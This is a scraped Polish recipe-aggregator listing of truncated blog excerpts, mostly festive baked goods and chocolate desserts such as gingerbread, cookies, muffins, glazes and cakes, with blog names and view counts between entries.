wody konfitura żurawinowa po pół łyżeczki z każdej przyprawy: sól morska, pieprz, kurkuma, papryka słodka, cynamon, gorczyca, imbir, kminek, majeranek nadzienie: 50g żurawiny suszonej 50g śliwek suszonych 4 kostki czekolady deserowej/gorzkiej 1 łyżeczka miodu Kurczaka osuszamy ręcznikiem papierowym, odcinamy skrzydełka, kuper oraz szyję. Przecinamy piersi wzdłuż, rozchylamy kości na boki i wycinamy każdą kostkę. Płat kurczaka formujemy w prostokąt, rozbijamy(...)tłuczkiem (piersi rozbijamy dokładnie). W moździerzu łączymy wszystkie przyprawy, rozbijamy gorczycę i kminek. Przygotowaną mieszanką przypraw nacieramy płat kurczaka, wystarczy tylko z jednej strony), odstawiamy do lodówki na godzinę. Czekoladę rozpuszczamy w kąpieli wodnej, studzimy. Żurawinę, śliwki i czekoladę blendujemy – może być gładki krem lub z widocznymi kawałkami śliwek suszonych. Płat kurczaka wyciągamy z lodówki, wzdłuż brzegu układamy farsz

Gotowanie i blogowanie
Pierniczki Na Musie Jabłkowym 114

ąki ziemniaczanej ) 60 gr cukru pudru ( ja dałam kokosowego ) 1 płaska łyżeczka sody 2 łyżeczki przyprawy do piernika 2 łyżeczki kakao 1 całe jajko Do dekoracji: kilka kostek białej czekolady kilka kostek deserowej czekolady lukier Posypki dekoracyjne od Delecty 1. Wszystkie składniki przekładamy do miski i zagniatamy ciasto. Jeśli ciasto będzie się kleić możemy je co jakiś czas podsypywać mąką(...)około 2-3 mm. Wycinamy ulubione kształty i wykładamy na blaszkę wyłożoną papierem do pieczenia. Pieczemy w 180 stop przez 10-15 min. Ostudzone pierniczki dekorujemy mleczną lub deserowa czekolada (rozpuszczoną na kąpielą wodną) lub lukrem i przyozdabiamy posypkami dekoracyjnymi

Gotowanie...to proste !
Świąteczne ciasteczka cynamonowe 162

płynnego miodu 70 g cukru pudru 1 jajko 120 g zimnego masła pokrojonego w kostkę 1 łyżka  przyprawy do piernika 1 łyżeczka cynamonu Do ozdoby: 1 tabliczka białej czekolady kolorowe pisaki z lukrem Wykonanie: Wszystkie składniki ciasta umieszczamy w misce  robota i zagniatamy. Zawijamy w folie i wkładamy do lodówki na 3-4 godziny. Po tym czasie ciasto(...)ciasteczka, układamy je na blaszce wyłożonej papierem do pieczenia i pieczemy w piekarniku nagrzanym do 180 stopni przez 20 minut, aż się ładnie przyrumienią. Gdy ciasteczka wystygną  rozpuszczamy czekoladę w kąpieli wodnej i maczamy w niej ciasteczka. Układamy na kratce i czekamy, aż czekolada zastygnie, wtedy malujemy wzorki cukrowym lukrem

Kulinarne przygody Gatity
Kakaowe ciasto marchewkowe – oszukany piernik 154

przyprawy piernikowej to idealny zamiennik długo leżakującego piernika - jeśli nie nastawiliście jeszcze ciasta na piernik, to nic straconego! Ciasto smakuje wybornie, pachnie wspaniale a przełożone konfiturą lub posmarowane czekoladą idealnie wpasuje się w świąteczny klimat. Swój piernik przygotowałam w dwóch małych foremkach od PapilArt , dzięki temu jeden piernik (razem z jednorazową foremką) już powędrował do znajomych. Składniki: (keksówka 20x11) 320g(...)mąki 180g startej marchewki 130g cukru pudru 100g oleju 80g mleka 35g kakao 15g przyprawy do piernika 8g proszku do pieczenia 2 jajka 100g czekolady deserowej Jajka miksujemy z mlekiem oraz olejem, nadal miksując dodajemy powoli mąkę, przyprawę do piernika, proszek do pieczenia i mąkę. Na koniec dodajemy kakao i startą marchewkę, miksujemy przez 2 minuty. Ciasto powinno być gęste

Gotowanie i blogowanie
Czekolada na gorąco 151

Doskonała czekolada na zimowe wieczory Bardzo dobrze rozgrzewa i dodaje energii Składniki • 1 litr mleka • 3 łyżki kakao • 2/3 szklanki cukru /lub zastąpić innym cukrem • łyżka przyprawy do pierników • 3 łyżki syropu z orzechów laskowych • 1/2 łyżeczki cynamonu • szczypta gałki muszkatołowej • 50 g czekolady ekstra goszkiej 90 % • 1 jajko • 1/2 łyżki mąki ziemniaczanej do każdej szklanki • szczypta chili • szczypta mielonych(...)migdałów Sposób przygotowania 1. • Z mleka odlać 1 szklankę mleka.Resztę mleka zagotować z cukrem  dodać połamaną czekoladę, mieszać aż się rozpuści . 2. • Do odlanego mleka dać kakao,przyprawę do piernika, cynamon,gałkę muszkatołową,syrop z orzechów laskowych,jajko  i mąkę ziemniaczaną.Wszystko razem dobrze wymieszać można blenderem. 3. Powstałą masę wlać do gotującego mleka, mieszać aż się

W królestwie smaków Beaty
MURZYNEK 563

szklanki mąki 6 łyżeczek kakao 1/2 paczki margaryny rozpuszczonej 3 jajka 3/4 szklanki mleka surowego 2 cukry waniliowe 4 łyżki kopiaste dżemu z czarnej porzeczki Składniki polewy: 1 czekolada mleczna 1 czekolada gorzka 3 łyżki mleka Dodatki:   posypka owocowa Sposób wykonania: Mąkę, sodę oczyszczoną, cukier, kakao wymieszać razem na sucho.  Dodać mleko, rozpuszczoną margarynę, jajka, cukry waniliowe, dżem(...)czarnej porzeczki, zmiksować. Wlać do formy o średnicy 24 cm. Piec w temperaturze 180 stopni Celsjusza około 40 minut.  Czekolady połamać na kawałki i razem z mlekiem rozpuścić w kąpieli wodnej. Rozsmarować na wierzchu ciasta. Gdy polewa lekko stężeje obsypać posypką owocową

Przepisy kulinarne babci Antoniny
Ciasteczka migdałowo-czekoladowe z pyszną dekoracją 152

mąki pszennej 100 g mielonych migdałów bez skórki 1 łyżeczka proszku do pieczenia 1 płaska łyżeczka soli Kakao 2 łyżki      Dodatkowo: wiórka z truskawkowej czekolady Cukieteria wiórka z cytrynowej czekolady Cukieteria Lukier: cukier puder 1 szklanka i sok z cytryny Wykonanie: Migdały płatki zmieliłam w młynku do kawy, dodałam przesianą mąkę z proszkiem do pieczenia(...)nastawiam na 180 stopni i piekę jakieś 8-10 minut.Pilnuję zawsze, jeśli się zarumienia po bokach to zaraz wyjmuje :) Studzę na kartce,lukruje i posypuje wiórkami z kolorowej czekolady

Różowa kuchnia
Piernik herbaciany z masą mleczną- pycha 163

piekący:)  mają na myśli wypieki, które wzbogacą świąteczny stół. Tym niezdecydowanym chcę zaproponować pyszny piernik herbaciany, który jest niezwykle delikatny i puszysty. Przełożony masą mleczną i polany białą czekoladą otula nas słodyczą, którą przełamują powidła. Do powtórzenia nie raz. Zapraszam...  Skala smaku 10/10 Jeżeli masa mleczna wyjdzie gęsta należy ją przełożyć na blat kuchenny rozwałkować i przełożyć(...)mleczny krem: 200 g masła lub margaryny 1/2 szklanki cukru 1/3 szklanki mleka 1 szklanka mleka w proszku 2 łyżeczki cukru waniliowego SKŁADNIKI NA POLEWĘ: 120 g białej czekolady 4 łyżki śmietanki kremówki 18 % lub 30% DODATKOWO: ok. 300-400 g powideł orzechy włoskie Mąkę przesiewamy razem z sodą, proszkiem, przyprawą oraz kakao. Białka oddzielamy od żółtek i miksujemy

Kubki smaku
Kremowa fantazja 134

była  z moimi rodzicami . Składniki  1 paczka kremu ( krem tortowy smak czekoladowy delecta ) 1 paczka kremu ( krem ajerkoniakowy delecta  5 łyżek masy kajmakowej  1 tabliczka czekolady mlecznej  200 ml śmietany 30 %  3 szklanki mleka  2 łyżki żelatyny  Składniki na biszkopt  1 szklanka mąki  6 jajek  2 łyżeczki proszku(...)ładnie zakrywamy wszystkie niedoskonałości i rozsmarujemy na wierzchu tortu , i tort wstawiamy do zamrażarki na 30 minut  . Kiedy tort się chłodzi , do garnka wlewam śmietankę i dodaję kawałki czekolady , rozpuszczam wszystko dokładnie , często mieszając , jak czekolada nam się rozpuściła , odstawiam na chwilkę , do szklanki wlewam wrząca wodę i rozpuszczam żelatynę , następnie dodaję do naszej polewy czekoladowej i ostawiam

Mój Smak
Ptasie mleczko w świątecznej szacie 175

część ciasta wyłożyć w blaszce na to wylać masę śmietanową. Gdy zacznie tężeć nałożyć na górę drugą część ciasta makowego. Na wierzchu obficie polać polewą czekoladową. Polewa czekoladowa 100gram czekolada mleczna 100gram czekolada mleczna 180-200ml śmietanka kremówka Czekoladę rozpuścić w garneczku na parze dodając stopniowo śmietankę regulując gęstość polewy

W garach u Gosi
Muffinki świąteczne z gruszką i czekoladą! 148

prosty a zarazem bardzo smaczny pomysł na świąteczny smakołyk. Muffinki, które je się oczami, przepyszne z dużą ilością soczystej gruszki z dodatkiem cynamonu i przypraw korzennych, oblane obficie gęstą czekoladą. Uwielbiam takie wypieki, które robię w 15 minut, mogą postać kilka dni w domu i się nie zsychają, są podzielne, można zabrać je ze sobą do pracy czy szkoły(...)foremek na muffinki do 3/4 wysokości. Pieczemy przez 20-25 minut w temp 170 stopni C, grzanie tylko dół (bez termoobiegu) Babeczki studzimy na kratce.  POLEWA: - 1/2 czekolady mlecznej - 1/2 czekolady gorzkiej - 4 łyżki mleka - 1 czubata łyżka kakao - 1-2 łyżki wody Całość doprowadź do wrzenia, ale nie gotuj. Płyn po połączeniu przyjmie formy masy czekoladowej. Oblej nią

SMYKWKUCHNI
Idealna polewa czekoladowa do ciast 91

Zrobienie polewy nie jest trudne... wystarczy rozpuścić w kąpieli wodnej czekoladę z masłem, przestudzić i rozprowadzić po cieście. No dobrze, ale co w przypadku, gdy nie mamy czekolady? Czy można zrobić czekoladową polewę bez tabliczki czekolady? Oczywiście, że tak! Poniżej sprawdzony, wielokrotnie przeze mnie przetestowany i używany przepis na idealną polewę. Towarzyszy mi od wielu lat! Na co trzeba zwrócić

Nastoletnie Wypiekanie
Świąteczne Muffinki reniferki 171

łyżeczka przyprawy do piernika 1 szkl. oleju 1 szklanka drobnego cukru do wypieków 4 duże jajka 2 łyżeczki ekstraktu z wanilii 1 i 1/4 szklanki mleka 100 g czekolady mlecznej Wszystkie składniki powinny być w temperaturze pokojowej. Mąkę pszenną, proszek do pieczenia, sól, cynamon - przesiać, odłożyć. W misie miksera utrzeć masło z cukrem na jasną, puszystą masę. Dodawać jajka(...)wanilię i zmiksować. Na zmianę dodawać do masy przesiane suche składniki i mleko, miksując po każdym dodaniu (krótko, do połączenia), aż do wyczerpania obu składników. Na koniec wsypać pokrojoną czekoladę. Wymieszać delikatnie. Przygotować formę do muffinek, wyłożyć ją papilotkami. Do każdej papilotki nałożyć ciasta do 3/4 jej wysokości. Piec w temperaturze 180ºC przez około 20 minut, do lekkiego zezłocenia

Kubki smaku
Ucierane ciasto z żurawiną 176

Składniki: 220 g mąki pszennej 200 g cukru 120 g miękkiego masła 120 g serka mascarpone 120 ml śmietanki 30% 3 jajka 100 g świeżej żurawiny 70 g białej czekolady 1 łyżeczka proszku do pieczenia szczypta soli Frosting: 70 g serka śmietankowego 30 g masła w temperaturze pokojowej 100 g cukru pudru  Wykonanie: Miękkie masło w temperaturze pokojowej utrzeć(...)ucierania, po jednym jajku. Następnie, nadal ucierając dodać serek mascarpone - miksować do połączenia składników. Wlać śmietankę, całość ubić na puszystą masę. Mąkę wymieszać z proszkiem do pieczenia i solą. Czekoladę posiekać, część żurawiny pokroić. Do masy maślanej dodać mąkę - połączyć składniki.  Na koniec wsypać czekoladę i żurawinę i delikatnie wymieszać. Ciasto przełożyć do keksówki wyłożonej papierem do pieczenia. Piec

kolorowotorcikowo
Świąteczne ciasteczka z kremem czekoladowym 117

szczypta soli 3 łyżki płynnego miodu 70 g cukru pudru 1 jajko 120 g zimnego masła pokrojonego w kostkę 1 łyżka  przyprawy do piernika Krem czekoladowy: 100 g czekolady 100 g mascarpone w temperaturze pokojowej 2 łyżeczki   domowej esencji waniliowej cukier puder Wykonanie: Wszystkie składniki ciasta umieszczamy w misce  robota i zagniatamy. Zawijamy w folię i wkładamy(...)blaszce wyłożonej papierem do pieczenia i pieczemy w piekarniku nagrzanym do 180 stopni przez 20 minut, aż się ładnie przyrumienią. W kąpieli wodnej rozpuszczamy czekoladę. Gdy  przestygnie dodajemy po łyżeczce mascarpone i mieszamy. Jeśli czekolada zbyt stwardnieje podgrzewamy ją ponownie lekko w kąpieli wodnej. Na koniec dajemy esencję i mieszamy. Gdy masa zacznie

Kulinarne przygody Gatity
CIASTECZKA OWSIANE Z SOLONYMI ORZESZKAMI I GORZKĄ CZEKOLADĄ 151

płatków owsianych błyskawicznych 1 szkl mąki pszennej  2/3 szkl cukru trzcinowego 1 płaska łyżeczka sody 1 łyżeczka cukru waniliowego 1 jajko 100 g miękkiego masła 100 g gorzkiej czekolady 80 g orzeszków ziemnych solonych A jak to zrobić: Czekoladę i orzeszki posiekać na grube kawałki. Do miski wsypać płatki, mąkę, sodę, cukry, wszystko wymieszać. Wlać do środka roztopione(...)wystudzone masło, oraz rozmącone jajko.  Wsypać orzeszki i czekoladę. Całość mieszać do połączenia składników, najlepiej przy pomocy własnej dłoni. Z ciasta formować kulki wielkości orzecha włoskiego i układać je na wyłożonej papierem blasze, lekko spłaszczając. Piec 15-16 minut w piekarniku nagrzanym do 175 stopni. Po upieczeniu pozostawić ciastka na blasze do wystudzenia

Kuchnia w opałach
CIASTECZKA OWSIANE Z SOLONYMI ORZESZKAMI I GORZKĄ CZEKOLADĄ 151

płatków owsianych błyskawicznych 1 szkl mąki pszennej  2/3 szkl cukru trzcinowego 1 płaska łyżeczka sody 1 łyżeczka cukru waniliowego 1 jajko 100 g miękkiego masła 100 g gorzkiej czekolady 80 g orzeszków ziemnych solonych A jak to zrobić: Czekoladę i orzeszki posiekać na grube kawałki. Do miski wsypać płatki, mąkę, sodę, cukry, wszystko wymieszać. Wlać do środka roztopione(...)wystudzone masło, oraz rozmącone jajko.  Wsypać orzeszki i czekoladę. Całość mieszać do połączenia składników, najlepiej przy pomocy własnej dłoni. Z ciasta formować kulki wielkości orzecha włoskiego i układać je na wyłożonej papierem blasze, lekko spłaszczając. Piec 15-16 minut w piekarniku nagrzanym do 175 stopni. Po upieczeniu pozostawić ciastka na blasze do wystudzenia

Kuchnia w opałach
Makowa panienka 191

Pyszne połączenie makowego ciasta i kremu cytrynowego. Dodatkowo całość przełamana dżemem z czarnej porzeczki. Nawet biała czekolada, za którą nie przepadam, dobrze tu pasuje. Krem jest mocno cytrynowy i wymaga użycia mleka UHT (z kartonu). Przy mleku jedynie pasteryzowanym (takim prosto od krowy lub kupowanym z lodówki) jest duże prawdopodobieństwo, że całość się zwarzy. Polecam wszystkim, wielbicielom maku oraz(...)soku) 150 g cukru 1 łyżka cukru waniliowego 4 żółtka 60 g skrobi ziemniaczanej 170 g miękkiego masła dodatkowo 200 g dżemu z czarnej porzeczki 150 g białej czekolady 2 łyżki mleka wiórki kokosowe i migdały do posypania Mleko połączyć z sokiem z cytryny. Pół szklanki odlać, rozmieszać ze skrobią i żółtkami. Pozostałe mleko, często mieszając, zagotować z cukrem

Pełny talerz
KARP PO TORUŃSKU W SOSIE PIERNIKOWYM 136

DODATKOWO :  4-5 pierniczków bez czekolady i nadzienia 30 g czekolady deserowej  100 ml mleka 1 łyżeczka miodu  1 łyżeczka masła przyprawa do piernika do smaku szczypta cynamonu  1 łyżka soku z cytryny kilka rodzynek 3 śliwki suszone migdały, orzechy do smaku(...)solą, pieprzem.  Do garnka przekładamy pokrojone śliwki, rodzynki i orzechy, dodajemy miód, masło, wlewamy mleko i zaczynamy gotować na małym ogniu. Po chwili,  dodajemy pokruszone pierniki i czekoladę, mieszając gotujemy aż sos będzie gęsty. Doprawiamy do smaku przyprawami. Studzimy. Na talerz układamy porcję warzyw, na to kładziemy karpia i polewamy sosem piernikowym. Posypujemy orzechami, natką pietruszki, kiełkami

Kulinarne Fantazje Marioli
Deser owocowo - lodowy w dwóch sosach 94

Kompozycja na upalne dni. Owoce, lody, mięta, czekolada. Składniki na deser owocowo - lodowy w dwóch sosach (4 porcje): arbuz 600 g winogrona zielone 250 g 4 gruszki 3 brzoskwinie "ufo" pomarańcz lody śmietankowo - czekoladowe 1 l garść liści mięty mały jogurt naturalny 2 łyżeczki brązowego cukru mleko 30 - 40 ml 2 łyżeczki masła 9 kostek gorzkiej czekolady Owoce umyć, obrać(...)średniej wielkości kostkę. Schłodzić tak przygotowaną sałatkę owocową w lodówce. Sos miętowy: wrzucić do garnka liście mięty, jogurt naturalny, brązowy cukier i zblenderować. Sos czekoladowy: zagotować mleko, wrzucić kostki czekolady i masło. Dokładnie mieszać do powstania gładkiej masy. Na brzegach talerzy rozłożyć owoce, polać sosem miętowym. Na ich środku umieścić lody na które należy polać sos czekoladowy

Karola gotuje
Suflet czekoladowy 388

póki co antytalent cukiernczy dokonałam tego cudu. Robi się go szybko z niewielkiej ilości składników. Składniki na suflet czekoladowy (2 porcje): 3 jajka 90 g masła 125 g czekolady deserowej (ja preferuję gorzką, bo deser wychodzi naprawdę bardzo słodki) 70 g cukru pudru 50 g mąki pszennej tortowej Jajka ubić z cukrem pudrem na puszystą masę. Rozpuścić połamaną na kostki(...)czekoladę wraz z kawałkami masła w kąpieli wodnej. Powoli dosypywać do jajek mąkę cały czas mieszając. Wlać ciepłą masę z czekolady i masła. Wymieszać. Nasmarować foremki masłem, zalać masą i włożyć do piekarnika nagrzanego na 200 stopni. Piec 7 minut do wyrośnięcia sufletów i ich zarumienienia

Karola gotuje
Czekoladowo truskawkowe bezy 102

Deser który zachwyci rodziną, gości. Jest prosty do zrobienia.Suche bezy można przechowywać trzy dni. Miłośnicy czekolady będą zachwyceni. bezy: 1/2 szklanka białek 180 g cukier kryształ drobny szczypta soli 1 łyżka octu winnego 1 łyżką mąki ziemniaczanej 1 łyżeczka kakao krem czekoladowy: 100 g czekolady gorzkiej 1 szklanka śmietany kremówki 30 % truskawki do dekoracji czekoladowe słupki mięta Białka temperatura pokojowa(...)piekarnika temp 120 stopni termoobieg na 20 minut potem zmniejszam na 100 stopni na 40 minut. Piekarnik wyłączam i zostawiam uchylone drzwiczki. Krem: Śmietanę zagotowuję i zdejmuję z gazu. Czekoladę łamię i wkładam do śmietany gorącej i mieszam montewką tak długo aż się rozpuści. Nie dodaję cukru bo beza jest słodka. Jak śmietana przestygnie wkładam ją do lodówki na kilka

wesoła kuchnia
ciasteczka maślane z orzechami w środku 162

składniki: 100 g mąki pszennej 125 g maki ziemniaczanej 50 g cukru pudru 125 g masła, schłodzonego ok. 200 g orzechów laskowych ok. 100 g czekolady mlecznej wykonanie: Orzechy prażymy na suchej patelni a następnie odstawiamy do wystudzenia. Mąkę pszenną oraz ziemniaczaną przesiewamy na stolnicę, dodajemy cukier puder oraz masło, siekamy wszystko nożem a następnie zagniatamy ciasto. Następnie odrywamy(...)orzecha i formujemy kuleczki. Układamy na blaszce wyłożonej papierem do pieczenia. Pieczemy w 180 st. C przez ok. 10 min. Po upieczeniu odstawiamy do całkowitego wystudzenia i dekorujemy rozpuszczoną czekoladą (możemy każde ciasteczko oblać czekoladą lub dowolnie pomazać ) (inspiracja z przepisu Tomka z programu Bake Off – Ale ciacho!) Zapisz Zapisz Zapisz Zapisz

Domowy Smak Jedzenia
Deser z ciasteczkiem zbożowym. 131

malutkie ciasteczka firmy "Kupiec" idealnie się do tego nadają. Deser z ciasteczkiem zbożowym. 1 budyń czekoladowy (bez cukru) 1/2 litra mleka 2 łyżki cukru 1 łyżka masła 5 dag czekolady mlecznej 4 łyżki domowego dżemu 24 małe ciasteczka zbożowe Ugotuj na mleku z dodatkiem cukru budyń czekoladowy. Do gorącego dodaj mało i pokruszoną czekoladę. Mieszaj budyń do czasu az mało(...)czekolada się rozpuszczą. Do pucharków wyłóż połowę budyniu, rozłóż połowe ciasteczek po czym nakryj je resztą budyniu. Na górze ułóż dżem i ciasteczka.  Podawajcie deser na ciepło lub zimno

Gotuj Sam!
Choinka piernikowa z jabłkiem i żurawiną 173

Wilgotny piernik przełożony jabłkami i żurawiną pięknie prezentuje się  na świąteczny stole. Ozdobiony jest ciemną i białą czekoladą, bombkami z masy marcepanowej i kuleczkami. Choinka piernikowa z jabłkiem i żurawiną ciasto: 2 szklanki mąki pszennej 2 łyżeczki kakao 3 łyżki oleju słonecznikowego 2/3 szklanki  cukru 2 duże jaja 2 łyżki posiekanych drobno orzechów włoskich 1  szklanka jogurtu(...)proszku do pieczenia 2 łyżki przyprawy do pierników masa: 2 szklanki startych w łezkę  1 galaretka cytrynowa suszona żurawina  do dekoracji: polewa  czekoladowa deserowa  biała czekolada (50 g) masa marcepanowa kuleczki srebrne i ozdoby cukrowe Jaja zmiksuj z cukrem dodając pod koniec jogurt i olej. Przesiej mąkę oraz kakao do miski. Dodaj sodę i proszek

Gotuj Sam!
Świąteczny piernik czekoladowy z mango 152

Dziś zaprezentuję Wam jeszcze jeden  świąteczny wypiek, piernik o smaku czekolady i korzeni, wilgotny z śmietanowo- owocową masą. Pięknie prezentuje sie na światecznym stole. Świąteczny piernik czekoladowy z mango ciasto: 2 szklanki mąki pszennej 2 łyżeczki kakao 1 szklanka śmietanki kremowej 100 g czekolady deserowej 1/2 szklanki  cukru drobnego 2 duże jaja 2 łyżki oleju słonecznikowego 1 łyżeczka(...)połówki cytryny starta skórka z połówki cytryny 1 łyżka cukru drobnego 500 ml śmietanki kremowej 1 puszka mango do dekoracji: dowolna polewa  czekoladowa deserowa  owoce physalis Rozpuść czekoladę ze śmietanką kremową w rondelku na  małym   ogniu. Dodaj przyprawę do piernika. Ostudź.  Jaja zmiksuj z cukrem dodając ostudzoną masę czekoladową i olej. Przesiej mąkę oraz kakao

Gotuj Sam!
Ciasteczka orzechowe ze skwarków 163

skwarków 30 dag skwarków 1/2 kg mąki 15 dag cukru drobnego 2 jaja 1 łyżeczka proszku do pieczenia 3 łyżki zmielonych orzechów włoskich mąka do podsypania polewa :100 g czekolady deserowej 1 łyżka mleka 1 łyżka masła spora garść orzechów włoskich do dekoracji Skwarki zmiel dwa razy w maszynce do mięsa. Mąkę przesiej z proszkiem do pieczenia po czym dodaj(...)podsypując delikatnie mąką rozwałkuj ciasto na grubość pół centymetra.] Wykrawaj niewielkie kółeczka po czym upiecz je w średnio gorącym piekarniku  na złoty kolor. Po ostudzeniu udekoruj ciasteczka. Stop czekoladę z dodatkiem mleka, dodaj zimne masło i mieszaj energicznie do jego rozpuszczenia. Na każdym ciasteczku zrób kleks z czekolady po czym przylep uprażone lekko cząstki orzechów włoskich

Gotuj Sam!
Czekoladowo-orzechowa tarta z jabłkami i granatem 211

większej ilości osób. 300 g mąki 100 g cukru pudru 200 g masła 2 żółtka 2 łyżki śmietany   2 białka 80 g cukru pudru 50 g gorzkiej czekolady 75 g orzechów włoskich 25 g orzechów laskowych duże jabłko skórka starta z połowy pomarańczy pestki granatu Przygotowujemy ciasto. Mąkę przesiewamy z cukrem pudrem. Całość siekamy z masłem, po czym dodajemy(...)żółtka i śmietanę. Zagniatamy na gładkie ciasto. Dzielimy na 2 części (70% i 30%). Wkładamy na 10 minut do zamrażarki. W tym czasie mielimy orzechy. Czekoladę rozpuszczamy w kąpieli wodnej. Białka ubijamy na sztwyno. Roztopioną czekoladę mieszamy z cukrem pudrem i zmielonymi orzechami. Dodajemy białka ubite na sztywną pianę i delikatnie ale dokładnie mieszamy. Formę na tartę (o średnicy

Mienta blog
Batony proteinowe Pulsin :) 145

kremowego smaku. Podsumowując, batonik jest dobry, choć nie sprawił abym sięgnęłam po niego w przyszłości. WANILIA I GROSZKI CZEKOLADOWE migdały * masło z nerkowców * białko grochu * błonnik z cykorii * kawałki czekolady 10% (masa kakaowa, ksylitol, masło kakaowe, emulgator - lecytyna słonecznikowa) * białko ryżu * ksylitol * masło kakaowe (6%) * nektar z agawy * koncentrat soku winogronowego * skrobia ryżowa * ekstrakt waniliowy (1%) * ekstrakt zielonej herbaty * sól(...)przełknięciu pozostawia jakby leciutko gorzkawy posmak. Podsumowując, dobry, ale chyba nie wybrałabym go ponownie.  POMARAŃCZA I GROSZKI CZEKOLADOWE nerkowce (23%) * słód ryżu brązowego * białko ryżu * białko grochu * kawałki czekolady 10% (masa kakaowa, ksylitol, masło kakaowe, emulgator - lecytyna słonecznikowa) * ksylitol * błonnik z cykorii * masło kakaowe (6%) * kakao (4%) * koncentrat soku winogronowego * skrobia ryżowa * olejek pomarańczowy (0,25%) * ekstrakt zielonej herbaty

Zdrowie na języku :P
Uczta mola książkowego: Ciasto piernikowe i "Szczygieł" Donny Tartt 141

ciągłym stresem związanym z ukrywaniem obrazu.    A tym razem do przekąszenia podczas czytania polecam ciasto piernikowe, przełożone kwaśną konfiturą z czarnej porzeczki i polane rozpuszczoną gorzką czekoladą. Poza tym, że jest słodkie i aromatyczne to ma fajnie wilgotną i zwartą konsystencję. Swoim smakiem przypomina zwykły piernik, ale robi się je szybciutko i od razu jest miękkie(...)ciemnego kakao 2 łyżki przyprawy do piernika 2 łyżki miodu 250 ml mleka 3 jajka 1/2 średniego słoiczka konfitury z czarnej porzeczki (może być śliwkowa) na polewę: 100 g czekolady gorzkiej + łyżka masła + kilka łyżek zimnego mleka   W dużej misce wymieszać mąkę, cukier, proszek do pieczenia i sodę. Odstawić. Do rondelka o grubym dnie wrzucić margarynę, kakao, przyprawę

Simply Food
BABECZKI PIERNIKOWE - CHOINKI 168

DODATKOWO :  50 g czekolady deserowej 50 g wiórek kokosowych 300 ml śmietany 30 %  2 cukry waniliowe 1 łyżka cukru 1 łyżka żelatyny + 1/4 szklanka wrzątku 1 barwnik spożywczy zielony, dowolny koraliki do ozdoby(...)około 35 minut w temperaturze 170 % C. Wykładamy i studzimy. Żelatynę rozpuszczamy w wrzątku i studzimy. Zimną śmietanę ubijamy z cukrami na sztywno, następnie wlewamy żelatynę i barwnik spożywczy. Czekoladę łamiemy na kawałki, przekładamy do miseczki i rozpuszczamy w mikrofalówce. Babeczki smarujemy na wierzchu czekoladą i posypujemy kokosem.  Bitą śmietanę nakładamy do szprycy i wyciskamy na babeczki tworząc choinkę

Kulinarne Fantazje Marioli
30 przepisów do przygotowania w grudniu 151

Wybrałam najlepsze przepisy na ostatni miesiąc roku, jest świątecznie, dużo czekolady, sałatek, nie zabrakło ulubionego ciasta na pierogi! Smacznego grudnia! Babka czekoladowa Babeczki czekoladowo - bananowe z kruszonką Barszcz czerwony Bułeczki z ciasta na pizzę, z czarnuszką i ostrą papryką Czekolada na gorąco z korzennymi przyprawami Czekoladowa owsianka z orzechami i nasionami chia Dip z ricotty ze skórką z cytryny, grana(...)Pieczarkowa z makaronem i majerankiem Pieczone kasztany Pieczone pierogi z pieczarkami, czarnymi oliwkami i suszonymi pomidorami Pieczone pierożki z ciasta na focaccie z kuskusem i kurczakiem Pomarańczowa babka z czekoladą Racuszki kokosowo-orzechowe z dodatkiem rumu Sałatka jarzynowa Suszone plastry pomarańczy Pierniczkowy koktajl z egzotycznymi owocami Koktajl ananasowy z płatkami owsianymi Lepimy pierogi

Moja smaczna kuchnia
Sernik imbirowo-piernikowy 207

świeżego imbiru 3 białka- z ciasta kruchego 4 jajka 1  budyń śmietankowy Dr.Oetker 100 ml śmietany 18% 2 łyżki mleka w proszku Sos czekoladowo-pomarańczowy: 10 dag gorzkiej czekolady 1/2 szklanki soku pomarańczowego z kawałeczkami owoców 150 ml śmietanki kremowej 2 łyżki cukru pudru Sposób przygotowania: Ciasto:  Mąkę mieszamy razem z przyprawą do piernika i  proszkiem(...)pieczemy 20 minut. Studzimy przy otwartych drzwiczkach piekarnika. Sos pomarańczowo-czekoladowy:  Sok z pomarańczy zagotowujemy z  cukrem pudrem i śmietanką. Zestawiamy z ognia, dodajemy połamaną czekoladę , czekamy chwilę aż czekolada zacznie się rozpuszczać wtedy dokładnie mieszamy.    Sernik polewamy sosem na talerzykach. Podajemy.  Wesołych Świąt

Wanilia i Kardamon
NALEŚNIKI Z OWOCOWYM TWAROŻKIEM NA ŚNIADANIE 135

fioletową barwę. Dzieci na pewno się skuszą, bo przecież jedzą oczami, a wszystko co ładnie wygląda u mnie też dobrze smakuje.  Oczywiście można je posypać dla ozdoby białą czekoladą lub mleczną albo cukrem pudrem. Wszystko zależy od upodobań. Od wyboru do koloru :D   A teraz ważna notka na temat wartości odżywczych mlecznych produktów i ich przetworów :) Mleko(...)mąka 200 gram olej 1 łyżka sól 1 szczypta Farsz: twaróg półtłusty 500 gram maliny 1 szkl. borówki 1/2 szkl. banan 1 szt.  Dodatkowo: maliny, borówki ewentualnie biała czekolada olej do smażenia 1 łyżka + pędzelek sylikonowy do smarowania Metoda: 1. Naleśniki: Wszystkie składniki zmiksować, do uzyskania jednolitej masy. Następnie patelnie wysmarować olejem ( za każdym razem ) i smażyć

Kuchnia Paulettes
CIASTO "KŁODA DRZEWA" 158

łyżki mleko 3 łyżki masło 3 łyżki proszek do pieczenia 1 łyżeczka KREM: śmietana kremówka 250 ml. serek mascarpone 300 gram cukier 2 łyżki GANACHE: śmietana kremówka 250 ml. czekolada mleczna 100 gram czekolada gorzka 100 gram DODATKOWO: wiórki kokosowe lub cukier puder do oprószenia kakao do oprószenia METODA: 1.  CIASTO: Żółtka oddzielić od białek. Białka ubić na sztywną(...)każdej strony odcinamy z ukosa kawałki ciasta ( po obu stronach musi być ten sam kąt). Kawałki przykładamy do rolady.  GANACHE: Śmietanę kremówkę podgrzać w rondelku. Dodać kawałki czekolady i mieszać, aż całkowicie się rozpuści. Odstawić do całkowitego schłodzenia. Następnie ubić mikserem na sztywno. Gotowym kremem dekorujemy nasze ciasto. Widelcem zrobić faliste znaki drzewa. Całość posypać kakao i wiórkami kokosowymi

Kuchnia Paulettes
PIERNIKOWE ROGALIKI KRUCHO DROŻDŻOWE Z NADZIENIEM ORZECHOWO KRÓWKOWYM 182

